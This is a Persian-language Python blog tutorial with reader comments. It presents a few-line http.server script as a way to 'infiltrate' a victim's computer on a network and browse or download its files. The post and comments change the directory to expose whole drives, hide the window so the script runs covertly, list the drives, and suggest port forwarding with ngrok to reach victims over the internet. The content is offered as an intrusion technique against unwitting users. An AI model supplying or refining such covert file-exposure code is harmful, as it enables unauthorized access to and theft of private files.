نفوذ و دسترسی به سیستم هدف در شبکه فقط با یک اسکریپت ۴ خطی :: Mr Python | مستر پایتون

نفوذ و دسترسی به سیستم هدف در شبکه فقط با یک اسکریپت ۴ خطی

  • ۲۷۷۸

نفوذ و دسترسی به سیستم هدف در شبکه فقط با یک اسکریپت ۴ خطی

درود به همه !

 

امروز باز به مبحث گرفتن دسترسی یعنی فاز سوم هکینگ میپردازیم . در این پست یاد میگیریم اسکریپتی بنویسیم که فقط ۴ خط کد دارد و پس از اجرای این اسکریپت روی سیستم هدف ما میتونیم خیلی راحت در شبکه به فایل های روی سیستم هدف دسترسی داشته باشیم و اونارو ببینیم ، باز کنیم و ... . این اسکریپت بر روی هر سیستم عاملی میتواند اجرا شود .

کاری که اسکریپت امروز میکنه اینه که میاد یه وب سرور روی سیستم هدف اجرا میکنه . وب سرور چیه ؟ وب سرور در واقع یه برنامه هستش که وقتی روی یه کامپیوتری اجرا میشه ، میاد به درخواست های وب که کلاینت ها ارسال میکنن پاسخ میده . برای مثال یک وبسایت عادی ، روی سرور خود یک وب سرور دارد که به درخواست های http یعنی روی پورت 80 شنود میکند و به آن ها جواب مورد نیاز را میدهد .

حال اسکریپت ما باعث میشود تا سیستم هدف روی پورت دلخواهی که ما مشخص میکنیم شنود رو انجام بده و وقتی ما یه درخواست http میفرستیم به اون پورت مورد نظر ، اسکریپت ما مثل یک وب سرور فایل های سیستم هدف رو در اختیار ما میزاره

(اسکریپت رو بنویسیم و اجرا کنیم بهتر متوجه میشید ) 

شاید براتون سوال پیش بیاد یه چنین چیزی چطور میشه که با ۴ خط کد نوشته بشه ؟‌؟؟ باید بگم وقتی ما از زبانی مثل پایتون صحبت میکنیم این چیزا کاملا عادیه چون پایتون یه زبان شیء گرا هستش و کتابخونه های بسیار زیادی داره .

خود پایتون یه سری اسکریپت ها و کتابخونه های داخلی داره که به صورت پیشفرض روی پایتون نصب هستن . برای مثال ما امروز از ماژولی به اسم http.server استفاده میکنیم که باعث میشه ما با چند خط کد بتونیم یه وب سرور روی سیستم هدف ایجاد کنیم .

سورس کد :

from http.server import SimpleHTTPRequestHandler as handler
from socketserver import TCPServer

httpd = TCPServer(("" ,8000) , handler) # Make Handler on port 8000

httpd.serve_forever() # Start Handler 

توضیح سورس کد : در ابتدا از ماژول http.server ، کلاس SimpleHTTPRequestHandler رو ایمپورت کردیم . کار این کلاس پردازش درخواست های http هستش که هکر میفرسته . در خط بعد از کتابخونه ی socketserver اومدیم TCPServer رو ایمپورت کردیم . کاربرد این مورد هم برای ساختن و اجرای وب سرور هستش .

در خط بعدی اومدیم handler یا همون کنترل کننده ی وب سرورمون رو ساختیم و ریختیم داخل متغییر httpd .دو تا ورودی از ما گرفته . ورودی اول یک تاپل هستش شامل یک رشته خالی و عدد ۸۰۰۰ است. به جای رشته ی خالی باید آِدرس IP لوکال سیستمی که اسکریپت روش اجرا میشه (در اینجا سیستم قربانی) رو بنویسیم که ما خالی گذاشتیم . وقتی خالی بزاریم خود پایتون به طور خودکار اینکارو برامون انجام میده . یعنی به طور خودکار آدرس آی پی لوکال سیستم رو درنظر میگیره .  و عدد ۸۰۰۰ هم نشون دهنده ی پورتی هستش که میخوایم وب سرور روی اون پورت اجرا بشه . ورودی دوم هم کلاس هندلری هستش که میخوایم باهاش درخواست های http رو پردازش کنیم که ما همونSimpleHTTPRequestHandler که اول ایمپورت کردیم رو بهش دادیم . 

در خط آخر با استفاده از متود serve_forever وب سرور رو راه انداختیم و عملا کار اصلی از همینجا شروع میشه .

خب این از اسکریپت . میریم برای اجرا و تست نتیجه . برای تست من یه سیستم ویندوز ۷ رو به عنوان کامپیوتر قربانی در شبکه در نظر گرفتم (اسکریپتی که نوشتیم روی این سیستم اجرا میشه) .

همچنین یک سیستم لینوکس اوبونتو رو به عنوان سیستم هکر در شبکه در نظر گرفتم .

اسکریپت رو روی سیستم قربانی اجرا میکنم :

سپس در سیستم هکر وارد مرورگر میشم و آدرس IP سیستم قربانی رو در قسمت آدرس بار مرورگر وارد میکنم (به همراه شماره پورتی که وب سرور روی اون کار میکنه) . تصویر زیر :

همینطور که در تصویر بالا میبینید ، پس از رفتن به آدرس مورد نظر لیستی از پوشه ها و فایل های سیستم قربانی به ما نشان داده میشود و ما با کلیک کردن روی هرکدام از آن ها میتوانیم وارد آن ها شویم یا محتویات آن ها  را ببینیم .

نکته ی مهمی که هست اینه که همینطور که میبنید وقتی در مرورگر هکر به آدرس سیستم قربانی رفتیم ، فایل ها و پوشه های همون مسیری روی سیستم قربانی رو به ما نشون داد که اسکریپت رو اجرا کرده بودیم . بنابراین باید اسکریپت وب سرور رو روی همون مسیری که میخوایم بهش دسترسی داشته باشیم اجرا کنیم . فرض کنید ما میخواهیم به درایو C در ویندوز دسترسی داشته باشیم ، برای اینکار باید اسکریپت در مسیر درایو C اجرا شود . خب این موضوع یکم کار رو مشکل میکنه چون گاهی اوقات ما نمیدونیم قربانی اون اسکریپت رو قرار هستش در چه مسیری اجرا کنه . ما میتونیم یه ترفندی رو به کار ببریم و اونم این هستش که داخل خود اسکریپتمون کاری کنیم تا در هر مسیری که ما میخواهیم بهش دسترسی داشته باشیم اجرا بشه . درواقع برای اینکار باید دایرکتوری فعلی رو در اسکریپت تغییر بدیم . فرض کنید ما میخواهیم پس از اجرای اسکریپتمون ، به مسیر D:\musics در سیستم هدف دسترسی داشته باشیم . به صورت زیر عمل میکنیم :

from http.server import SimpleHTTPRequestHandler as handler
from socketserver import TCPServer
from os import chdir as chdir

chdir("D:\\musics") # Change Directory To  D:\Musics

httpd = TCPServer(("" ,8000) , handler)
httpd.serve_forever()

تغییراتی که در اسکریپت دادیم به این صورت هستش : در ابتدا ما از کتابخونه ی os ، تابع chdir رو ایمپورت کردیم تا بتونیم مسیر پوشه فعلی رو تغییر بدیم . سپس در خط بعد با استفاده از دستور chdir اومدیم مسیر دایرکتوری فعلی رو به مسیری که میخواستیم بهش دسترسی داشته باشیم یعنی D:\musics تغییر دادیم . میتونید به هر مسیری که نیاز دارید تغییر بدید . حتی میتونید اسم یک درایور رو بنویسید برای مثال :

chdir("C:\\")

این باعث میشه کلا به درایور مورد نظر دسترسی داشته باشیم .

به همین سادگی . میتونید این اسکریپت رو خروجی اجرایی بگیرید و با ترفندی که در پست (چگونه در پایتون اسکریپتی بنویسیم که به طور مخفیانه در پس زمینه اجرا شود ؟) یاد دادیم ، کاری کنید تا برنامه پس از اجرا به طور مخفیانه در پس زمینه اجرا شود و کاربر از وجود آن خبردار نشود .

 

سوالی بود در بخش نظرات مطرح کنید

یا حق !

Telegram Channel : @mrpythonblog

  • سلام ممنون از سایت خوبت مستر پایتون 
    ی سوال ک خیلی مهمه گفتی میشه هیدن کرد فایل رو و من دقیقا اون کار که گفتی رو انجام دادم و تابع هیدن رو صدا زدم در پشت اسکریپت اصلی اما وقتی هاید میشه دیگه کد اصلی به صورت درست کار نمیکنه


     

    from http.server import SimpleHTTPRequestHandler as handler

    from socketserver import TCPServer

     

    from os import chdir as chdir

     

    from win32con import SW_HIDE # NEW

    import win32gui # NEW

     

    def hedden():

        pid = win32gui.GetForegroundWindow() # NEW

        win32gui.ShowWindow(pid , SW_HIDE) # NEW



     

    hedden()

     

    chdir("C:\\") # Change Directory To  D:\Musics

     

    httpd = TCPServer(("" ,9000) , handler)

    httpd.serve_forever()



    این هم سورس 
    ترتیبش باید چطور باشه لطفا راهنماییم کن خیلی نیاز دارم

    پاسخ:
    سلام عزیز . ممنون که بازدید میکنی از وبلاگمون :)
    اینکه درست کار نمیکنه دقیقا منظورت چیه ؟‌ چه اتفاقی میفته ؟

  • چجوری آیپی لوکال خودمونو پیدا کنیم

     

    پاسخ:
    سلام . وارد cmd بشید و دستور ipconfig رو اجرا کنید . اطلاعات کارت شبکه از جمله IP رو بهتون نشون میده .
  • سلام 

     

    ببخشید من وقتی این رو ران می کنم وارد آی پی خودم با پورت ۸۰۰۰ می شم ارور می ده 

     

    فکر کنم بچ شده

    پاسخ:
    درود .
    نه این اصلا آسیب پذیری نیست که بخواد پچ بشه . یه قابلیته در اصل . 
    اروری که بهتون میده رو بفرستید بررسی کنم :)
  • سلام عالی بود 

    کد این چیزی که میگم چطوریه؟

    این که اول بیاد و از کل درایو های سیستم دسترسی بگیره (همه با هم)

    به علاوه ی پورت فورواردینگ با ngtok

    ممنون میشم راهنماییم کنید

    پاسخ:
    درود بر شما . 

    منظورتون رو متوجه نمیشم ببینید وقتی این اسکریپت اجرا میشه یعنی به سیستم هدف دسترسی داره بسته به دسترسی های اون یوزری که این اسکریپتو اجرا کرده میتونه به هر درایوی دسترسی داشته باشه . 

    پورت فورواردینگ بیشتر در پیلود های reverse_tcp پیاده سازی میشه . پیاده سازی پورت فورواردینگ در این مورد خیلی مشکله و شاید تا حدی ناممکن باشه . 
  • سلام میشه کاری کرد که اول اسم درایو ها رو پیدا کنه بعد وارد ()chdir کنه؟

    پاسخ:
    درود بر شما 
    بله به راحتی !
    از تکه کد زیر استفاده کنید :
    import os,string
    drives = [x for x in string.ascii_uppercase if os.path.exists("{}:\\".format(x))] print (drives) # Prints the list of available drives

    در تکه کد بالا ، لیست درایو های موجود در سیستم داخل لیست drives ذخیره میشود :)
  • سلام کد رو تو ویژوال استودیو کد نوشتم ولی وقتی اجرا کردم هیچ اتفاقی نیوفتاد میشه کمک کنید؟

    پاسخ:
    درود بر شما . این سورس کد به زبان پایتون هستش بنابراین در هر محیطی که اون رو مینویسید نهایتا باید با مفسر پایتون اونو اجرا کنید  .
    بهتره داخل همون Python IDLE بنویسید سورستون رو و از طریق خودش اجراش کنید .
  • میشه بگید پورت فورواردینگ چیه؟

     

    پاسخ:
    پورت فورواردینگ متودی هستش که  با استفاده از اون دیوایس ها یا سرویس های شبکه های داخلی و لوکال بتونن با دیوایس ها در شبکه  جهانی ارتباط برقرار کنند .  
  • اگه درست حدس بزنم این برای wlan , lan هستش . اگه بخوایم همینو روی wan و آیپی پابلیک پیاده کنیم باید چی کارکنیم ؟

    پاسخ:
    سلام . بله این برای شبکه های داخلی هستش . معمولا از این تکنیک برای شبکه های عمومی استفاده نمیکنند چون از نظر امنیتی درست نیست . ولی خب با کارای مثل پورت فورواردینگ میتونین همینکارو در سطح شبکه ی wan نیز پیاده سازی کنید . 
  • نه داداش ارور ندارم . یعنی وقتی دارم دانلود میکنم . بجای اینکه چند تا کانکشن باشه تا زودتر دانلود بشه . 

    فقط یه کانکشن هست . فایل کند دانلود میشه . میخواستم ببینم راهی هست تا بشه کانکشن ها رو افزایش داد.

    با IDMI دانلود میکنم

    پاسخ:
    قاعدتا فک نمیکنم با دانلود منیجیر مشکلی پیش بیاد . شاید به خاطر اینه که آدرس فایل رو در شبکه به درستی وارد دانلود منیجر نمیکنید . 
    والبته سرعت برداشت فایل از سیستم هدف بستگی به قدرت سیستم هدف هم داره چون به هرحال اون سیستمه که داره نقش وب سرور رو بازی میکنه .
    هرچی تعداد درخواست ها بالا بره ترافیکی که اون وبسرور باید پردازش کنه سنگین تر میشه بنابراین ممکنه با چنین مشکلاتی روبه رو بشید .
  • سلام . 

    من داشتم با دانلود میننجر فایل دان مبکردم . فهمیدم اجازه کانکشن بیشتر نمیده چیکار کنم ؟

    پاسخ:
    سلام . 
    منظورتون رو متوجه نشدم . اگه به اروری برخوردین لطفا متن ارور رو بفرستید . 
  • خیلی ممنون ، عالی بود این ، سادع و کار آمد .

    پاسخ:
    درود .
    خواهش میکنم سلامت باشید 
  • باسلام داداش وبلاگت عالیه میخواستم درمورد ابزار متاسپولویت سوال بپرسم که من الان مودم ندارم چطور باید پورت فرواردینگ انجام بدم ممنون میشم کمکم کنی

    پاسخ:
    درود بر شما . 
    خب اگه منظورتون پیلود های متاسپلویته بستگی داره . فرضا در پیلود های meterpreter پیلود reverse_tcp برای انتقال ترافیک شبکه از پروتکل TCP استفاده میکنه بنابراین باید یه پورت فورواردینگی انجام بدین تا ترافیک TCP بشه روش انتقال داد . برای مثال ابزار ngrok میتونه برای شما پورت فورواردینگ پروتکل های مختلفی مثل http , ftp , tcp , ... رو انجام بده . برای یادگیری این ابزار (ngrok) میتونید به پست زیر در وبلاگ مراجعه کنید :

    ولی خب با این روش ممکنه یه سری محدودیت هایی برای شما وجود داشته باشه . اگه میخواین محدودیتی نداشته باشین معمولا اگه خودتون پیلودتون رو بنویسین خیلی از محدودیت هاتون برداشته میشه .
  • آخ چقدر پیام دادم ببخشی خواستم بپرسم اگه اینو تو اندروید بخوایم اجرا کنیم باید چیکار کنیم مثلا میشه به یه فایل apk تزریقش کرد؟ یا همچین حالتی؟

    پاسخ:
    خواهش میکنم . سوالی هست بپرسید مشکلی نداره .
    خب بحث تزریق به apk نیست اصلا .
    یکی از راه هاش اینه که کلا همینو برای اندروید بنویسید (با زبانی مثل java)
    نکته ای که هست اینه که کلا بحث دسترسی گرفتن روی اندروید یکم متفاوته با یه کامپیوتر .
  • واقعا وبلاگتون خیلی عالیه ممنون میشم پورت فرواردینگ رو با پایتون یاد بدید خیلی به کار میاد

    پاسخ:
    مچکرم :)))
    چشم در چند پست آینده توضیح میدیم
  • اگه بخوایم همین کار رو با ایپی پابلیک انجام بدیم چطوریه؟

    پاسخ:
    همونطور که خدمتتون عرض کردم باز باید با پورت فورواردینگ انجام بشه .
    پورت فورواردینگ رو میتونید داخل تنظیمات خود روترتون یا با ابزاری مثل ngrok انجام بدید
  • سلام من یه سوال داشتم مثلاً اگه با سوکت یه چت روم مانند درست کنم با یه کامپیوتر دیگه در شهر دیگه ای باشه چت کنم قضیه آیپی و اینا چی میشه چه تیپی به عنوان سرور باید براش بزارم ؟ اگه میشه کامل توضیح بدین ممنون (:

    پاسخ:
    سلام و درود .
    برای ارتباط دو شبکه ی مجزا از هم در اینجور موارد باید عملی به نام پورت فورواردینگ انجام بشه .
    به دلیل درخواست زیاد نسبت به آموزش این موضوع ، در یکی از چند پست آینده به این موضوع میپردازیم .
  • سلام...

    یه سوال حالا چطور او اسکریپت رو روی سیستم هدف اجرا کنیم؟؟ مثلا فکر کن اون شخص تو یه شهر دیگه باشه ...

    اونوقت چی؟؟

    پاسخ:
    سلام و درود .
     مطلبی که داخل این پست توضیح دادیم برای یه شبکه ی داخلی بود .
    اگه بخواین روی شبکه ی جهانی این اسکریپت کار کنه باید عملی به اسم پورت فورواردینگ روی سیستم هدف انجام بشه . در پست های آینده حتما روی این موضوع بحث خواهیم کرد .
  • عالی داداش کیف کردم

    پاسخ:
    درود . مچکرم 😁✋
  • در یک خط (:

    python -m http.server 8000
    پاسخ:
    دقیقا !
  • +_+

     

    ایول

    پاسخ:
    😉✋
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی